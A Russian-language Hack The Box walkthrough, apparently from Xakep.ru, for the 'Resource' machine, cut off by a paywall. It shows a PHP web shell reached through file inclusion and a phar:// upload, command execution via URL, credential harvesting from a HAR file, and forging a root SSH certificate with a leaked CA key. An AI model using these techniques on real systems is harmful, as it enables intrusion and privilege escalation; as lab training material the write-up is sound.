Содержание статьи
Наша цель — получение прав суперпользователя на машине Resource с учебной площадки Hack The Box. Уровень ее сложности — «средняя».
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.27 resource.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел три открытых порта:
- 22 — служба OpenSSH 9.2p1;
- 80 — веб‑сервер Nginx 1.18.0;
- 2222 — служба OpenSSH 8.9p1.
На порте 80 выполняется редирект на адрес http://
, поэтому обновим запись в файле /
, а затем просмотрим сайт через браузер.
10.10.11.27 resource.htb itrc.ssg.htb

Точка входа
На сайте есть возможность регистрации и авторизации. Сделаем это, так как авторизованному пользователю обычно доступно больше функций, а значит и точек для атаки будет больше.

На странице dashboard
есть возможность заводить тикеты и загружать ZIP-архивы. Так как на сайте индекс файл представлен в формате PHP, попробуем найти другие PHP-файлы. Для этого будем использовать утилиту feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов с целью поиска скрытой информации и недоступной обычным посетителям функций. Для этого можно использовать программы вроде dirsearch, dirb или ffuf. Я предпочитаю feroxbuster.
При запуске используем следующие параметры:
-
-u
— URL; -
-w
— словарь (я использую словари из набора Seclists); -
-t
— количество потоков; -
-d
— глубина сканирования.
Задаем все параметры и запускаем сканирование:
feroxbuster -u http://itrc.ssg.htb/ -w php_files_common_5476.txt -x php -d 1 -t 128

Находим много новых интересных файлов. Что примечательно, среди них присутствует dashboard.
, а мы получали доступ к странице через index.
. Видимо, к параметру page
автоматически добавляется расширение php
. Попробуем таким же образом просмотреть страницу admin.
.

Получаем содержимое страницы и пробуем тем же способом просмотреть и другие. При обращении к /
видим ошибку, раскрывающую путь к файлам на сервере.

Точка опоры
Перейдем к созданию тикета. Во вложении загрузим рандомный ZIP-архив.

Тикет появится в общем списке. По кнопке Open просмотрим его содержимое.


Нам доступен для скачивания загруженный тестовый архив. По ссылке видно, что он хранится в каталоге uploads
с измененным именем.

Это значит, что у нас есть возможность эксплуатировать LFI, но работает она только для файлов PHP, а также мы знаем куда сохраняются ZIP-архивы. Можем попробовать реализовать следующий сценарий: на сервер загрузим архив с шеллом на PHP, а затем обратимся через LFI к файлу внутри архива через путь phar:/
.
Заархивируем файл shell.
, загрузим архив на сервер и получим путь к нему на сервере.
<?php system($_GET['cmd']); ?>

Осталось обратиться к шеллу и в качестве теста выполнить команду id
.
http://itrc.ssg.htb/?page=phar://uploads/450373bf3fff7e53023e6b2736add325cd51e3bb.zip/shell&cmd=id

Команда выполнена, а значит, у нас есть RCE. Запускаем листенер pwncat-cs
и выполняем реверс‑шелл.

Побег из Docker
Пользователь msainristil
На хосте развернуто веб‑приложение, и оно наверняка использует базу данных. В таких случаях в базе можно найти учетные данные для сайта, которые могут пригодиться для дальнейшего проникновения. Данные для подключения к самой базе обычно находятся в коде или настройках веб‑приложения.
В данном случае учетку для базы находим в файле db.
.

Использовать этот пароль нигде не получилось, поэтому осмотримся на сервере. Помимо загруженных нами архивов в каталоге uploads
можно найти и вложения к тикетам других пользователей. Скачиваем их на свою машину для анализа.

Два архива содержат публичные ключи SSH, а в оставшемся находим файл HAR.

В файлах HAR фиксируются разные неполадки браузера, такие как неудачные входы и проблемы с отображением веб‑страниц. Сразу же ищем в файле встроки вроде user
, pass
, token
и тому подобные. И находим учетные данные, сохраненные в открытом виде.

С полученными учетными подключаемся по SSH от имени пользователя msainristill
.

Пользователь root
В домашнем каталоге пользователя root есть каталог decommission_old_ca
с ключами центра сертификации.

Закрытый ключ центра сертификации ca-itrc
используются для подписи сертификатов. Публичный ключ ca-itrc.
используется для проверки подписи сертификатов. Мы можем использовать закрытый ключ центра сертификации для создания и подписи SSH-сертификата для любого логина. С помощью созданного сертификата можно будет получить доступ по SSH от имени пользователя с указанным в сертификате логином.
Первым делом сгенерируем пару SSH ключей.
ssh-keygen -t rsa -b 2048 -f ralf

Теперь с помощью ключей центра сертификации на основе публичного SSH ключа ralf.
сделаем сертификат SSH для логина root
. Сразу можно проверить новый сертификат ralf-cert.
.
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root ralf.pub

ssh-keygen -Lf ralf-cert.pub

Со сгенерированным сертификатом SSH сертификат и закрытым ключом пользователя получаем доступ от имени root
.
ssh -o CertificateFile=ralf-cert.pub -i ralf root@localhost

Пользователь support
В домашнем каталоге пользователя zzinter
есть скрипт sign_key_api.
.

Проанализируем его. Скрипт принимает в качестве параметров публичный ключ, имя пользователя и принципал, возможные значения которого можно увидеть в справке (help).
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»